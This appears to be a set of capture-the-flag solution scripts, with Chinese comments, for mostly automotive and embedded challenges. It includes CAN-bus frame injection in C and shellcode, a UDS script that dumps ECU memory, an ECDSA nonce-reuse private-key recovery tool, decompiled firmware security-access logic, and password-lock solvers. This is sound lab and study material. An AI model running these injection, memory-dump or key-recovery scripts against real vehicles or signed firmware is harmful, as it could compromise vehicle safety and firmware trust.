1import gmpy2
 2# 解密函数
 3def affine_decrypt(ciphertext,a,b):
 4    plaintext=''
 5    inver_a=gmpy2.invert(a,26)
 6    for char in ciphertext:
 7        if char.isalpha():
 8            # 获取字母次序
 9            char_num = ord(char) - ord('a')
10            decrypted_char_num = (inver_a * (char_num - b)) % 26
11            # 得到密文字母次序，要加上a的ascii才能得到此密文字母的ascii
12            decrypted_char = chr(decrypted_char_num + ord('a'))
13            plaintext += decrypted_char
14        else:
15            plaintext += char
16    
17    return plaintext
18
19def brute_force(ciphertext):
20    for a in range(1, 26):
21        for b in range(26):
22            if gmpy2.gcd(a,26)==1:
23                plaintext = affine_decrypt(ciphertext, a, b)
24                print(f"参数：a={a}，b={b} 解密：{plaintext}")
25                # 输出太多还要搜索，这里设置如果是flag开头直接停止函数
26                if plaintext[:4]=="flag":
27                    return 0
28            else:
29                continue
30
31ciphertext = 'aipx{823j56p37ap92p93pd4g7ad6a0p01p21}'
32brute_force(ciphertext)

 1// main.main
 2void __fastcall main_main()
 3{
 4  string *v0; // rcx
 5  __int64 v1; // rax
 6  __int64 r1; // rdx
 7  __int64 r0; // rbx
 8  retval_44A060 v4; // kr00_16
 9  retval_449800 v5; // kr10_16
10  char *ptr; // rdi
11  __int64 v7; // [rsp+0h] [rbp-68h]
12  __int64 v8; // [rsp+8h] [rbp-60h]
13  __int64 v9; // [rsp+10h] [rbp-58h]
14  string *p_string; // [rsp+18h] [rbp-50h]
15  _QWORD v11[2]; // [rsp+20h] [rbp-48h] BYREF
16  _QWORD v12[2]; // [rsp+30h] [rbp-38h] BYREF
17  _QWORD v13[2]; // [rsp+40h] [rbp-28h] BYREF
18  _QWORD v14[2]; // [rsp+50h] [rbp-18h] BYREF
19
20  p_string = (string *)runtime_newobject(&RTYPE_string);
21  p_string->ptr = 0;
22  v14[0] = &RTYPE__ptr_string;
23  v14[1] = p_string;
24  fmt_Fscanf(go_itab__os_File_io_Reader, os_Stdin, "%s", 2, v14, 1, 1);
25  v0 = p_string;
26  if ( p_string->len == 32 )
27  {
28    v1 = 0;
29    r1 = 0;
30    r0 = 0;
31    while ( v1 < 32 )
32    {
33      ptr = v0->ptr;
34      if ( v1 >= v0->len )
35        runtime_panicIndex(v1, r0, v0->len, ptr);
36      v7 = r1;
37      v9 = r0;
38      v8 = v1 + 1;
39      v4 = runtime_intstring(0, (unsigned __int8)((v1 + 1) ^ ptr[v1]));
40      v5 = runtime_concatstring2(0, v9, v7, v4._r0, v4._r1);
41      v0 = p_string;
42      r1 = v5._r1;
43      r0 = v5._r0;
44      v1 = v8;
45    }
46    if ( r1 == 31 && (unsigned __int8)runtime_memequal(r0, "66a<254?=??>=>k$u! r-&t,/,(x~+z", 31) )
47    {
48      v12[0] = &RTYPE_string;
49      v12[1] = &off_4DBE00;
50      fmt_Fprintln(go_itab__os_File_io_Writer, os_Stdout, v12, 1, 1);
51    }
52    else
53    {
54      v11[0] = &RTYPE_string;
55      v11[1] = &off_4DBE10;
56      fmt_Fprintln(go_itab__os_File_io_Writer, os_Stdout, v11, 1, 1);
57    }
58  }
59  else
60  {
61    v13[0] = &RTYPE_string;
62    v13[1] = &off_4DBDF0;
63    fmt_Fprintln(go_itab__os_File_io_Writer, os_Stdout, v13, 1, 1);
64  }
65}

 1#include <sys/types.h>
 2#include <sys/socket.h>
 3#include <sys/ioctl.h>
 4#include <net/if.h>
 5#include <netinet/in.h>
 6#include <linux/can.h>
 7#include <unistd.h> //我自己加的头文件，不加无法编译
 8#include <string.h>
 9int main(int argc, char *argv[]) {
10    int s;
11    struct sockaddr_can addr;
12    struct ifreq ifr;
13    struct can_frame frame;
14    s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
15    strcpy(ifr.ifr_name, "vcan0");
16    ioctl(s, SIOCGIFINDEX, &ifr);
17    addr.can_family = AF_CAN;
18    addr.can_ifindex = ifr.ifr_ifindex;
19    bind(s, (struct sockaddr *)&addr, sizeof(addr));
20    frame.can_id = 0x510;
21    frame.can_dlc = 8;
22    frame.data[1] = 0xFF;
23    while(1) {
24        write(s, &frame, sizeof(struct can_frame));
25        usleep(500000);
26    }
27}

 1section .text
 2global _start
 3_start:
 4                                    ; s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
 5    push 41                         ; Socket syscall from unistd_64.h
 6    pop rax
 7    push 29                         ; PF_CAN from socket.h
 8    pop rdi
 9    push 3                          ; SOCK_RAW from socket_type.h
10    pop rsi
11    push 1                          ; CAN_RAW from can.h
12    pop rdx
13    syscall
14    mov r8, rax                     ; s / File descriptor from socket
15                                    ; strcpy(ifr.ifr_name, "vcan0");
16    sub rsp, 40                     ; struct ifreq is 40 bytes
17    xor r9, r9                      ; temp register to hold interface name
18    mov r9, 0x306e616376            ; vcan0
19    push r9
20    pop qword [rsp]
21                                    ; ioctl(s, SIOCGIFINDEX, &ifr);
22    push 16                         ; ioctrl from unistd_64.h
23    pop rax
24    mov rdi, r8                     ; s / File descriptor
25    push 0x8933                     ; SIOCGIFINDEX from ioctls.h
26    pop rsi
27    mov rdx, rsp                    ; &ifr
28    syscall
29    xor r9, r9                      ; clear r9
30    mov r9, [rsp+16]                ; ifr.ifr_ifindex
31                                    ; addr.can_family = AF_CAN;
32    sub rsp, 16                     ; sizeof sockaddr_can
33    mov word [rsp], 29              ; AF_CAN == PF_CAN
34                                    ; addr.can_ifindex = ifr.ifr_ifindex;
35    mov [rsp+4], r9
36                                    ; bind(s, (struct sockaddr *)&addr, sizeof(addr));
37    push 49                         ; bind from unistd_64.h
38    pop rax
39    mov rdi, r8                     ; s /File descriptor
40    mov rsi, rsp                    ; &addr
41    mov rdx, 16                     ; sizeof(addr)
42    syscall
43    sub rsp, 16                     ; sizeof can_frame
44    mov word [rsp], 0x510           ; frame.can_id = 0x510;
45    mov byte [rsp+4], 8             ; frame.can_dlc = 8;
46    mov byte [rsp+9], 0xFF          ; frame.data[1] = 0xFF;
47                                    ; while(1)
48loop:
49                                    ; write(s, &frame, sizeof(struct can_frame));
50    push 1                          ; write from unistd_64.h
51    pop rax
52    mov rdi, r8                     ; s / File descriptor
53    mov rsi, rsp                    ; &frame
54    mov rdx, 16                     ; sizeof can_frame
55    syscall
56                                    ; usleep(500000);
57    push 35                         ; nanosleep from unistd_64.h
58    pop rax
59    sub rsp, 16
60    xor rsi, rsi
61    mov [rsp], rsi                  ; tv_sec
62    mov dword [rsp+8], 500000       ; tv_nsec
63    mov rdi, rsp
64    syscall
65    add rsp, 16
66    jmp loop

 1import re
 2
 3file="challenge4_RDID_dump.log"
 4
 5
 6# 解析每行的CAN ID和数据域
 7def parse_candump_log(line):
 8    m=re.match(r".*can0\s+(\w+)#([0-9A-Fa-f]+)", line)
 9    if not m:
10        return None, None
11    can_id = int(m.group(1), 16)
12    data = bytes.fromhex(m.group(2))
13    return can_id, data
14
15# 把每个DID的数据都以DID为键名存到字典里
16def extract_data(file):
17    # 初始化存放结果和连续帧的字典
18    result={}
19    multi_frame={}
20    with open(file) as f:
21        for line in f:
22            # 提取每行的CAN ID，数据域
23            can_id,data=parse_candump_log(line)
24            if data is None or len(data)==0:
25                continue
26            # 提取第一个字节的高4位为PCI
27            pci=data[0] >> 4
28            if pci == 0:
29                # 提取应用数据长度
30                length=data[0] & 0x0F
31                # 这里验证的是ISO-TP层长度，如果实际总长小于写的长度，说明CAN帧残缺
32                if len(data)<1+length:
33                    continue 
34                # 把ISO-TP层的载荷提取出来，UDS报文就是这个载荷
35                payload=data[1:length+1]
36                # 有效UDS回复帧，必定包含SID、DID，至少三个字节,少于3个字节，说明ISO-TP层写的长度短了，此帧有误，不管它
37                # 要求必须是0x22的肯定响应
38                if len(payload)>=3 and payload[0]==0x62:
39                    did=payload[1:3]
40                    result[did]=payload[3:]
41            
42            elif pci == 1:
43                # 首帧至少要有 PCI + 长度 + 0x62 + DID，5个字节
44                # 而且首帧肯定带满数据，长度一定是8，如果总长小于8，说明此帧残缺
45                if len(data) < 8:  
46                    continue
47                #传输的数据总长度
48                total_len=((data[0]&0x0F)<<8)|data[1] 
49                # 首帧的UDS响应
50                payload=data[2:]
51                if len(payload)>=3 and payload[0]==0x62:
52                    did = payload[1:3].hex().upper()
53                    multi_frame[did]={
54                        "total_len":total_len,
55                        "data":payload[3:]
56                    }
57
58
59            elif pci == 2:
60                #连续帧必须有PCI和1个数据，所以最少2个字节
61                if len(data) < 2: 
62                    continue
63                payload = data[1:]
64                for did, mf in multi_frame.items():
65                    # 减3是因为首帧提取的总长度包括了SID，DID的三个字节
66                    if len(mf["data"]) < mf["total_len"] - 3: 
67                        mf["data"] += payload
68                        if len(mf["data"]) >= mf["total_len"] - 3:
69                            result[did] = mf["data"]
70
71    return result
72
73for did,value in extract_data(file).items():
74    try:
75        text = value.decode("ascii")
76        print(f"DID 0x{did}: {text}")
77    except:
78        print(f"DID 0x{did}: {value.hex()}")

  1#!/usr/bin/env python3
  2# -*- coding: utf-8 -*-
  3"""
  4ECDSA私钥恢复工具
  5通过两个使用相同nonce的签名来恢复私钥
  6无需公钥
  7"""
  8
  9import hashlib
 10import binascii
 11
 12def main():
 13    # 文件名配置
 14    sig_file1 = "challenge_signed_firmware_files\ECUB.hex.sig"
 15    sig_file2 = "challenge_signed_firmware_files\ECUC.hex.sig"
 16    msg_file1 = "challenge_signed_firmware_files\ECUB.hex"
 17    msg_file2 = "challenge_signed_firmware_files\ECUC.hex"
 18    
 19    # secp256k1曲线参数
 20    n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141  # 阶数
 21    
 22    print("=== ECDSA私钥恢复工具 ===")
 23    print(f"签名文件1: {sig_file1}")
 24    print(f"签名文件2: {sig_file2}")
 25    print(f"消息文件1: {msg_file1}")
 26    print(f"消息文件2: {msg_file2}")
 27    print(f"曲线阶数 n = 0x{n:064x}")
 28    print()
 29    
 30    try:
 31        # 读取签名文件
 32        print("=== 读取签名数据 ===")
 33        r1, s1 = read_sig_file(sig_file1)
 34        r2, s2 = read_sig_file(sig_file2)
 35        
 36        # 计算消息哈希
 37        print("\n=== 计算消息哈希 ===")
 38        z1 = get_file_hash(msg_file1)
 39        z2 = get_file_hash(msg_file2)
 40        
 41        # 恢复私钥
 42        k, private_key = recover_private_key(r1, s1, r2, s2, z1, z2, n)
 43        
 44        # 输出结果
 45        print("\n=== 最终结果 ===")
 46        print(f"使用的Nonce (十六进制): 0x{k:064x}")
 47        print(f"使用的Nonce (十进制): {k}")
 48        print(f"恢复的私钥 (十六进制): 0x{private_key:064x}")
 49        print(f"恢复的私钥 (十进制): {private_key}")
 50        
 51    except FileNotFoundError as e:
 52        print(f"错误: 找不到文件 - {e}")
 53        print("请确保以下文件存在:")
 54        print(f"  - {sig_file1}")
 55        print(f"  - {sig_file2}")
 56        print(f"  - {msg_file1}")
 57        print(f"  - {msg_file2}")
 58    except Exception as e:
 59        print(f"错误: {e}")
 60
 61def read_sig_file(filename):
 62    """读取sig文件并解析ECDSA签名"""
 63    try:
 64        with open(filename, 'rb') as f:
 65            data = f.read()
 66            hex_data = data.hex()
 67            print(f"文件 {filename} 内容: {hex_data}")
 68    except FileNotFoundError:
 69        # 如果文件不存在，直接使用文件名作为hex字符串
 70        with open(filename.replace('.sig', ''), 'rb') as f:
 71            data = f.read()
 72            hex_data = data.hex()
 73    
 74    # 解析签名数据
 75    if len(hex_data) >= 128:  # 至少64字节
 76        # 假设前64字节是r和s
 77        r_hex = hex_data[:64]
 78        s_hex = hex_data[64:128]
 79        r = int(r_hex, 16)
 80        s = int(s_hex, 16)
 81        print(f"  r = 0x{r:064x}")
 82        print(f"  s = 0x{s:064x}")
 83        return r, s
 84    else:
 85        raise ValueError(f"签名文件 {filename} 数据不足")
 86
 87def get_file_hash(filename):
 88    """计算文件的SHA-256哈希值"""
 89    with open(filename, 'rb') as f:
 90        content = f.read()
 91        hash_value = hashlib.sha256(content).digest()
 92        hash_int = int.from_bytes(hash_value, 'big')
 93        print(f"文件 {filename} SHA256: {hash_int:064x}")
 94        return hash_int
 95
 96def recover_private_key(r1, s1, r2, s2, z1, z2, n):
 97    """通过两个签名恢复私钥"""
 98    print("\n=== 私钥恢复计算 ===")
 99    
100    # 检查是否使用了相同的r值（nonce重用）
101    if r1 != r2:
102        print("警告: 两个签名的r值不同，可能不适用nonce重用攻击")
103        print(f"r1 = 0x{r1:064x}")
104        print(f"r2 = 0x{r2:064x}")
105    
106    r = r1  # 使用第一个签名的r值
107    
108    # 计算 nonce k = (z1 - z2) / (s1 - s2) mod n
109    s_diff = (s1 - s2) % n
110    z_diff = (z1 - z2) % n
111    
112    # 处理负数
113    if s_diff == 0:
114        raise ValueError("s1 == s2，无法计算，请检查数据")
115    
116    if s_diff < 0:
117        s_diff = (s_diff + n) % n
118    if z_diff < 0:
119        z_diff = (z_diff + n) % n
120    
121    # 计算k
122    k = (z_diff * pow(s_diff, -1, n)) % n
123    print(f"Nonce (k) = 0x{k:064x}")
124    
125    # 计算私钥 d = (s1 * k - z1) / r mod n
126    temp = (s1 * k - z1) % n
127    if temp < 0:
128        temp = (temp + n) % n
129    
130    d = (temp * pow(r, -1, n)) % n
131    print(f"Private key (d) = 0x{d:064x}")
132    
133    # 验证计算
134    d_verify = ((s2 * k - z2) * pow(r, -1, n)) % n
135    print(f"Verification key = 0x{d_verify:064x}")
136    print(f"Keys match: {d == d_verify}")
137    
138    return k, d
139
140
141if __name__ == "__main__":
142    main()

 1int __fastcall sub_8006828(int a1, _BYTE *a2, unsigned __int16 a3, int a4, _WORD *a5)
 2{
 3  int result; // r0
 4  int v6; // r3
 5
 6  dword_20032B04 = a4;
 7  dword_20032B08 = (int)a5;
 8  *a5 = 0;
 9  dword_20032B10 = a1;
10  if ( !a3 )
11  {
12    *a2 = 0;
13    return sub_80042BC(a2, 19);
14  }
15  if ( (unsigned __int8)*a2 <= 0xFu )
16    return sub_8003A28(a2, a3, a4, a5);
17  v6 = (unsigned __int8)*a2;
18  if ( v6 == 135 )
19    return sub_8006150(a2, a3);
20  if ( (unsigned __int8)*a2 > 0x87u )
21    return sub_80042BC(a2, 17);
22  if ( v6 == 133 )
23    return sub_8006078(a2, a3);
24  if ( (unsigned __int8)*a2 > 0x85u )
25    return sub_80042BC(a2, 17);
26  if ( (unsigned __int8)*a2 > 0x27u )
27  {
28    if ( v6 == 62 )
29      return sub_8005FF4(a2, a3);
30    return sub_80042BC(a2, 17);
31  }
32  if ( (unsigned __int8)*a2 < 0x10u )
33    return sub_80042BC(a2, 17);
34  switch ( *a2 )
35  {
36    case 0x10:
37      result = sub_8004428(a2, a3);
38      break;
39    case 0x11:
40      result = sub_8004544(a2, a3);
41      break;
42    case 0x14:
43      result = sub_80045B4(a2, a3);
44      break;
45    case 0x27:
46      result = sub_8004DB8(a2, a3);
47      break;
48    default:
49      return sub_80042BC(a2, 17);
50  }
51  return result;
52}

 1int __fastcall sub_8004CD4(int result)
 2{
 3  _BYTE v1[4]; // [sp+Ch] [bp+Ch] BYREF
 4  int i; // [sp+10h] [bp+10h]
 5  char v3; // [sp+17h] [bp+17h]
 6
 7  v1[0] = 103;
 8  v1[1] = *(_BYTE *)(result + 1) & 0x7F;
 9  if ( (unsigned int)dword_20032B3C > 4 )
10    return sub_80042BC(result, 54);
11  if ( (unsigned int)(dword_20032B10 - dword_20032B38) <= 9 )
12    return sub_80042BC(result, 55);
13  if ( byte_20032B40 != 1 )
14    return sub_80042BC(result, 36);
15  v3 = 1;
16  for ( i = 0; i <= 15; ++i )
17  {
18    if ( *(unsigned __int8 *)(i + 2 + result) != (unsigned __int8)byte_20032B0C[i + 28] )
19      v3 = 0;
20  }
21  if ( v3 )
22  {
23    byte_20032B40 = 2;
24    if ( *(char *)(result + 1) >= 0 )
25      return sub_8004268(v1, 2);
26  }
27  else
28  {
29    byte_20032B40 = 0;
30    ++dword_20032B3C;
31    dword_20032B38 = dword_20032B10;
32    return sub_80042BC(result, 53);
33  }
34  return result;
35}

 1import can
 2import time
 3import binascii
 4
 5bus = can.Bus(interface="socketcan",channel="vcan0")
 6recv = "[DATA]:"
 7# 开始地址已有，结束地址选大点
 8startAddr=0xC3F80000
 9endAddr=0xC3F88000
10
11#循环读取内存数据
12for readAddr in range(startAddr,endAddr,0xFF):
13    #分割地址
14    byte1=(readAddr >>24)& 0xFF
15    byte2=(readAddr >>16)& 0xFF
16    byte3=(readAddr >>8)& 0xFF
17    byte4=readAddr& 0xFF
18    # 构造数据
19    candata = [0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
20    #构造读取内存can帧
21    readMem = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=candata)
22    bus.send(readMem,timeout=0.2)
23    frameCount=0
24    # 一帧7字节数据，36帧252，基本能覆盖完了
25    while frameCount<36:
26        msg=bus.recv(timeout=0.1)
27        if msg is not None:
28            # 判断是否是首帧
29            if frameCount==0:
30                # 首帧要去掉前3个字节，也就是前6个字母
31                recv+=binascii.hexlify(msg.data).decode('utf-8')[6:]
32                # 收到首帧立马发流控帧
33                FC=can.Message(arbitration_id=0x7E0,is_extended_id=False,dlc=8,data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
34                bus.send(FC,timeout=0.2)
35            else:
36                recv+=binascii.hexlify(msg.data).decode('utf-8')[2:]
37            frameCount+=1
38        else:
39            break
40bus.shutdown()
41print(recv)

 1#读取整个日志文件内容，并去除每行末尾的换行符，保存到 data 列表中
 2with open('./chall-log.txt','r') as fd:
 3
 4        data = [x.strip() for x in fd.readlines()]
 5
 6#从一行日志中提取出时间戳的小数部分（毫秒/微秒级），并转换为整数返回
 7def convert_line_to_ts(line):
 8
 9        ts = line.split(' ')[0][1:-1].split('.')[1]
10
11        return int(ts)
12#获取第一行的时间戳小数部分作为初始值
13last = convert_line_to_ts(data[0])
14#遍历其余每一行，计算当前行和上一行时间戳差值，并将其视为 ASCII 码输出对应的字符。
15for line in data[1:]:
16
17        ts = convert_line_to_ts(line)
18
19        print(chr(ts - last),end='' )
20
21        last = ts
22
23print()

 1#define MAX_SIZE 32
 2
 3const uint32_t a = 1103515245;
 4const uint32_t c = 12345;
 5const uint32_t m = 2147483647;
 6uint32_t seed = 1337;
 7
 8unsigned char user_input[MAX_SIZE];
 9const uint32_t STATE[4] = {0x1e48add6, 0xaaa7550c, 0x18df53bf, 0xe6af1116};
10
11uint32_t start[] = {0x0, 0x0, 0x0, 0x0};
12
13uint32_t gen_random(void) {
14  seed = (uint32_t)(((uint32_t)a * (uint32_t)seed + (uint32_t)c) % m);
15  return (uint32_t)seed;
16}
17
18void setup() {
19  Serial.begin(115200);
20  Serial.println("==================================================");
21  Serial.println("=               SECURE LOCK - v0.5               =");
22  Serial.println("==================================================");
23}
24
25int check_pass(uint32_t start[]) {
26    Serial.println("checking\n");
27    uint32_t temp = 0;
28    for (int i = 0; i < 4; ++i) {
29      temp = start[i];
30      temp *= (uint32_t)0xcafebeef;
31      temp += (uint32_t)gen_random();
32      temp *= (uint32_t)0xfacefeed;
33      temp ^= (uint32_t)gen_random();
34
35      if ((uint32_t)temp != (uint32_t)STATE[i]) {
36        return 0;
37      }
38    }
39    return 1;
40}
41
42void loop() {
43  
44  memset(user_input,0,MAX_SIZE);
45  memset(start, 0, 16);
46
47  Serial.println("Enter your password: ");
48
49  while (Serial.available() == 0) {
50    delay(100);
51  }
52
53  Serial.readBytes(user_input, MAX_SIZE);
54  
55  Serial.println();
56  for (int i = 0; i < 4; i++) {
57    
58    start[i] |= ((uint32_t)user_input[(i * 4)]   << 24);
59    start[i] |= ((uint32_t)user_input[(i * 4)+1] << 16);
60    start[i] |= ((uint32_t)user_input[(i * 4)+2] << 8);
61    start[i] |= ((uint32_t)user_input[(i * 4)+3] << 0);
62
63    Serial.println(start[i],HEX);
64  }
65
66  if (check_pass(start) == 1) {
67    Serial.print("Thats it!\r\nSubmit in the format FLAG{");
68    for (int i = 0; i < 4; i++) {
69          Serial.print(start[i],HEX);
70    }
71    Serial.println("}");
72    while (true) { delay(1000); }
73  }
74
75  // Failed, just spin
76  Serial.println("Incorrect password!");
77  while (true) {delay(1000); }
78}

 1#define MAX_SIZE 32
 2
 3a = 1103515245;
 4c = 12345;
 5m = 2147483647;
 6seed = 1337;
 7
 8STATE = [0x1e48add6, 0xaaa7550c, 0x18df53bf, 0xe6af1116]
 9
10MOD = 2**32
11
12def inv(x):
13    # 计算模 2^32 下的乘法逆元
14    return pow(x, -1, MOD)
15
16inv_CAFE = inv(0xcafebeef)
17inv_FACE = inv(0xfacefeed)
18
19
20def gen_random():
21    global seed
22    seed = ((a * seed + c)% MOD) % m
23    print(hex(seed))
24    return seed
25
26# 每组两次随机，总共8组，所以循环八次
27rands = []
28for _ in range(8):
29    rands.append(gen_random())
30
31# 然后每段特征码和密钥，随机数反解密码
32start=[]
33for i in range(4):
34    r1 = rands[i * 2]
35    r2 = rands[i * 2 + 1]
36    temp = STATE[i] ^ r2
37    temp = (temp * inv_FACE) % MOD
38    temp = (temp-r1) % MOD
39    start_i=(temp * inv_CAFE) % MOD
40    start.append(start_i)
41
42# 转换成字节
43flag_bytes = b""
44for val in start:
45    flag_bytes += val.to_bytes(4, byteorder='big')
46
47
48print("Recovered input:", flag_bytes.hex())
49print("flag{", end="")
50for val in start:
51    print(f"{val:08x}", end="")
52print("}")

 1from z3 import *
 2a = 1103515245
 3c = 12345
 4m = 2147483647
 5seed = 1337
 6MOD=1 << 32
 7STATE = [0x1e48add6, 0xaaa7550c, 0x18df53bf, 0xe6af1116]
 8flag = [BitVec(f'start_{i}', 32) for i in range(4)]
 9CAFE = 0xcafebeef
10FACE = 0xfacefeed
11
12s = Solver()
13def gen_random():
14    global seed
15    seed = ((a * seed + c)% MOD) % m
16    return seed
17
18seeds=[]
19for _ in range(8):
20    seeds.append(gen_random())
21
22for i in range(4):
23    temp=flag[i]
24    temp = (temp * CAFE)% MOD
25    temp = (temp + seeds[i * 2]) % MOD
26    temp = (temp * FACE) % MOD
27    temp = (temp ^ seeds[i * 2 + 1]) % MOD
28    s.add(temp==STATE[i])
29
30# Check for solution
31if s.check() == sat:
32    model = s.model()
33    result_start = [model.eval(flag[i]).as_long() for i in range(4)]
34    user_input = bytearray()
35    for value in result_start:
36        user_input.extend(value.to_bytes(4, 'big'))
37    print("Correct input (in hex):", user_input.hex().upper())
38else:
39    print("No solution found")